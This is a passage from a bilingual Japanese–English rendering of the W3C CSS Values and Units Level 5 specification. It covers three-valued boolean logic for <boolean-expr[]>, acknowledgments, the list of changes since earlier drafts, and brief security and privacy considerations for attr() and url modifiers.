この節が，この攻撃を特定的にとり挙げるのは、
それには長い歴史があり，初回の検分では巨大~過ぎな~~片は`無さそうに見える^emものでも行える事実があることによる。
◎
Note: The general principle that UAs are allowed to violate standards due to resource constraints is still generally true here; a UA might, separately, have limits on how long of a custom property they can support, or how large of an identifier they can support. This section calls out this attack specifically because of its long history, and the fact that it can be done without any of the pieces seeming to be too large on first inspection.
</p>

		</section>
	</section>
	<section id="boolean-logic">
<h2 title="Appendix B: Boolean Logic">付録 B. 真偽-論理</h2>

<p>
~CSSの将来の拡張を収容するため、
`boolean-expr[]$t 生成規則は，一般に［
その分岐 `general-enclosed$t 文法
］を `未知^i として解釈する
— この生成規則の真偽-論理は、
~Kleeneの 3-値~論理【`参考＠https://ja.wikipedia.org/wiki/3%E5%80%A4%E8%AB%96%E7%90%86#.E3.82.AF.E3.83.AA.E3.83.BC.E3.83.8D.E3.81.AE3.E5.80.A4.E8.AB.96.E7.90.86$】を利用して解決される。
一部の事例では（ `supports$at など）、
`general-enclosed^t は，代わりに `偽^i に評価されるものと定義される
— その事例では、
当の論理は，標準な真偽-代数へ委譲される。
◎
In order to accommodate future extensions of CSS, &lt;boolean-expr[]&gt; productions generally interpret their &lt;general-enclosed&gt; grammar branch as unknown, and their boolean logic is resolved using 3-value Kleene logic. In some cases (such as @supports), &lt;general-enclosed&gt; is instead defined as false; in which case the logic devolves to standard boolean algebra.
</p>

<p>
3-値の真偽-論理は、
真偽-条件 %~test に対し，次のとおり再帰的に適用される：
◎
3-value boolean logic is applied recursively to a boolean condition test as follows:
</p>
<ul>
	<li>
~~末端~levelの %~test は、
関連な仕様に定義されるとおり［
`真^i ／ `偽^i ／ `未知^i
］に解決される。
◎
A leaf-level test resolves to true, false, or unknown, as defined by the relevant specification.
</li>
	<li>
<code class="prod">not %~test</code> を評価した結果は、
%~test を評価した結果に応じて
⇒＃
`偽^i ならば `真^i になる／
`真^i ならば `偽^i になる／
`未知^i ならば `未知^i になる
◎
not test evaluates to true if its contained test is false, false if it’s true, and unknown if it’s unknown.
</li>
	<li>
`and^v で接続された複数個の %~test を評価した結果は、
各 %~test を評価した結果に応じて
⇒＃
`いずれも^em `真^i ならば `真^i になる／
`いずれかは^em `偽^i ならば `偽^i になる／
~ELSE_（いずれかは `未知^i かつ他すべては `真^i ） `未知^i になる
◎
Multiple tests connected with and evaluate to true if all of those tests are true, false if any of them are false, and unknown otherwise (i.e. if at least one unknown, but no false).
</li>
	<li>
`or^v で接続された複数個の %~test を評価した結果は、
各 %~test を評価した結果に応じて
⇒＃
`いずれかは^em `真^i ならば `真^i になる／
`いずれも^em `偽^i ならば `偽^i になる／
~ELSE_（いずれかは `未知^i かつ他すべては `偽^i ） `未知^i になる
◎
Multiple tests connected with or evaluate to true if any of those tests are true, false if all of them are false, and unknown otherwise (i.e. at least one unknown, but no true).
</li>
</ul>

<p>
“~top-levelの” `boolean-expr[]$t に対しては、［
それが`未知^i に評価される
］かつ［
それを包含している文脈が `未知^i 条件を取扱う方法を他に定義しない
］ならば，
`偽^i に評価される。
◎
If a “top-level” &lt;boolean-expr[]&gt; is unknown, and the containing context doesn’t otherwise define how to handle unknown conditions, it evaluates to false.
</p>

<p class="note">注記：
すなわち `未知^i は、
明示的に取扱われない限り， 3-値の真偽-式から “逃れる” ことはない
— `NaN^i が`~top-levelの計算式$から “逃れる” ことはないのと類似に。
◎
Note: That is, unknown doesn’t “escape” a 3-value boolean expression unless explicitly handled, similar to how NaN doesn’t “escape” a top-level calculation).
</p>

	</section>
	<section id="acknowledgments">
<h2 title="Acknowledgments">謝辞</h2>

<p>
まずは、
以前の~levelまでに対する`すべての貢献者たち＠~CSSVAL#acknowledgments$に感謝する。
◎
Firstly, the editors would like to thank all of the contributors to the previous level of this module.
</p>

<p>
［
案, ~comment, 示唆
］を寄せられ，この~level 5 を改善した次に挙げる各氏にも感謝する
⇒＃
`Guillaume Lebas^en,
`L. David Baron^en,
`Mike Bremford^en,
`Sebastian Zartner^en,
`とりわけ＠~CSSissue/6245$ `Scott Kellum^en
◎
Secondly, we would like to acknowledge Guillaume Lebas, L. David Baron, Mike Bremford, Sebastian Zartner, and especially Scott Kellum for their ideas, comments, and suggestions for Level 5;
</p>

	</section>
	<section id="changes">
<h2 title="Changes">変更点</h2>

<dl>
	<dt>
`2024年 9月 17日 作業草案＠~TR/2024/WD-css-values-5-20240917/$
からの変更点
◎
Changes since the 17 September 2024 Working Draft:
</dt>
	<dd>
【引数どうしを分離する】~semicolonを許容するための “~commaの昇格-法” の挙動を波括弧を利用する “~commaの括り法” 【`~commaを包含する生成規則$】に変更した。
（ `9539$issue ）
◎
Changed the “comma-upgrading” behavior of allowing semicolons to “comma-wrapping” using braces. (Issue 9539)
</dd>
	<dd>
`if$f を追加した。
（ `10064$issue, `5009$issue ）
◎
Added if(). (Issue 10064, Issue 5009)
</dd>
	<dd>
`inherit$f を追加した。
（ `2864$issue ）
◎
Added inherit(). (Issue 2864)
</dd>
	<dd>
`attr$f を設計し直した。
（ `10437$issue, `5092$issue, `5136$issue ）
◎
Redesigned attr(). (Issue 10437, Issue 5092, Issue 5136)
</dd>
	<dd>
各種 `*-mix^f および `clamp$f との一貫性を得るため、
各種 `*-progress^f 関数は，引数どうしを~commaを利用して分離するよう変更した。
（ `10489$issue ）
◎
Changed *progress() functions to use commas for argument separation, for consistency with *mix() and clamp(). (Issue 10489)
</dd>
	<dd>
`値~定義の構文$用に新たな `boolean-expr[]$t 複化子を定義した。
（ `10457$issue ）
◎
Defined new &lt;boolean-expr[]&gt; multipler for the value definition syntax. (Issue 10457)
</dd>
	<dd>
`CSS-VARIABLES-1$r から`任意-代入~関数$の定義を~importした。
（ `10679$issue ）
◎
Imported definition of arbitrary substitution function from [CSS-VARIABLES-1]. (Issue 10679)
</dd>
	<dd>
`CSS-PROPERTIES-VALUES-API-1$r から `syntax$t 生成規則を~importした
（ `attr$f において利用するため）。
◎
Imported the &lt;syntax&gt; production from [css-properties-values-api-1] (for use in attr()).
</dd>
	<dd>
［
`media-progress$f, `container-progress$f
］の構文における誤りを正した。
◎
Corrected errors in the syntax of media-progress() and container-progress().
</dd>

	<dt>
`最初の公な作業草案＠~TR/2024/WD-css-values-5-20240913/$
からの変更点
◎
Changes since the First Public Working Draft include:
</dt>
	<dd>
【他の~moduleから】 `position$t の定義を組入れて，それが`~flow相対$な位置を取扱うよう拡張した。
（ `549$issue ）
◎
Incorporated the definition of &lt;position&gt;, extending it to handle flow-relative positions. (Issue 549)
</dd>

	<dt id="additions-L4">
`~level 4$ からの追加
◎
Additions Since Level 4
◎
Additions since CSS Values and Units Level 4:
</dt>
	<dd>
関数の引数~用に`~commaを包含する生成規則$による記法を追加した。
◎
Added the “comma-wrapping” {} notation for function arguments.
</dd>
	<dd>
`url$t 関数~用にいくつかの `url-modifier$t を定義した。
◎
Defined several &lt;url-modifier&gt;s for &lt;url&gt; functions.
</dd>
	<dd>
`~flow相対$な位置を取扱うよう `position$t を拡張した。 
（ `549$issue ）
◎
Extended &lt;position&gt; to handle flow-relative positions. (Issue 549)
</dd>
	<dd>
各種 `*-progress()＠#progress$v 関数を追加した
— 2 個の値の合間における補間~進捗を表現するため。
◎
Added the *-progress() family of functions, to represent interpolation progress between two values.
</dd>
	<dd>
各種 `*-mix()＠#mixing$v 関数を追加した
— 2 個の値の合間における実際の補間-法を表現するため。
◎
Added the *-mix() family of functions, to represent actually interpolating between two values.
</dd>
	<dd>
`first-valid$f 関数を追加した
— 妥当性が既知になるのは構文解析より`後^emになる所で，［
~CSS構文解析の前方-互換な挙動
（無効なものは初めから無かったかのように~~扱う）
を`~custom~prop$その他の文脈と伴に利用する
］ことを許容するため。
◎
Added first-valid(), to allow CSS’s forward-compatible parsing behavior (drop invalid things, go with what’s left) to be used with custom properties and other contexts where validity isn’t known until after parsing.
</dd>
	<dd>
~inlineな条件付き用に `if$f を追加した。
◎
Added if() for inline conditionals.
</dd>
	<dd>
`inherit$f を追加した。
◎
Added inherit().
</dd>
	<dd>
`toggle$f 関数, `attr$f 関数を追加した。
◎
Added the toggle() and attr() functions.
</dd>
	<dd>
`random$f 関数, `random-item$f 関数を追加した。
◎
Added the random() and random-item() functions.
</dd>
	<dd>
`sibling-count$f 関数, `sibling-index$f 関数を追加した。
◎
Added the sibling-count() and sibling-index() functions.
</dd>
	<dd>
`calc-size$f 関数, それに関係する `interpolate-size$p ~propを追加した。
◎
Added the calc-size() function, and the related interpolate-size property.
</dd>
	<dd>
`値~定義の構文$に `boolean-expr[]$t 構文~記法を追加した。
◎
Added the &lt;boolean-expr[]&gt; syntax notation to the value definition syntax.
</dd>
</dl>

	</section>
	<section id="security">
<h2 title="Security Considerations">~securityの考慮点</h2>

<p>
この仕様は、
~CSS `url$t 値に対し，それらによる要請を成す様々な側面が改変されることを許容する。
これは，~CSSにとっては新たなものであるが、
どの能も［
`img$e ／ `link$e
］において, および~JSを介して，すでに在る。
◎
This specification allows CSS &lt;url&gt; values to have various aspects of their request modified. Although this is new to CSS, every ability is already present in img or link, as well as via JavaScript.
</p>

<p>
`attr$f 関数は、
~HTML属性~値を~CSS値に利用することを許容する
— それは、［
これまで~CSSを介して~access可能ではなかった敏感な情報
］を公開するものになり得る。
`§ ~security＠#attr-security$
を見よ。
◎
The attr() function allows HTML attribute values to be used in CSS values, potentially exposing sensitive information that was previously not accessible via CSS. See § 7.7.2 Security.
</p>

	</section>
	<section id="privacy">
<h2 title="Privacy Considerations">~privacyの考慮点</h2>

<p>
この仕様は、
利用者の［
~screen~size, 既定の~font~size
］を公開する単位を定義するが、
どちらも~JSから自明に観測-可能なので，
新たな~privacy~riskを成すことはない。
`media-progress$f 記法は，利用者の［
環境, 選好
］についての情報を公開するが、
類似に，すでに`媒体~query$を介して観測-可能である。
◎
This specification defines units that expose the user’s screen size and default font size, but both are trivially observable from JS, so they do not constitute a new privacy risk. Similarly the media-progress() notation exposes information about the user’s environment and preferences that are already observiable via media queries.
</p>

<p>
`attr$f 関数は、
~HTML属性~値を~CSS値に利用することを許容する
— それは、［
これまで~CSSを介して~access可能ではなかった敏感な情報
］を公開するものになり得る。
`§ ~security＠#attr-security$
を見よ。
◎
The attr() function allows HTML attribute values to be used in CSS values, potentially exposing sensitive information that was previously not accessible via CSS. See § 7.7.2 Security.
</p>

	</section>
</main></div>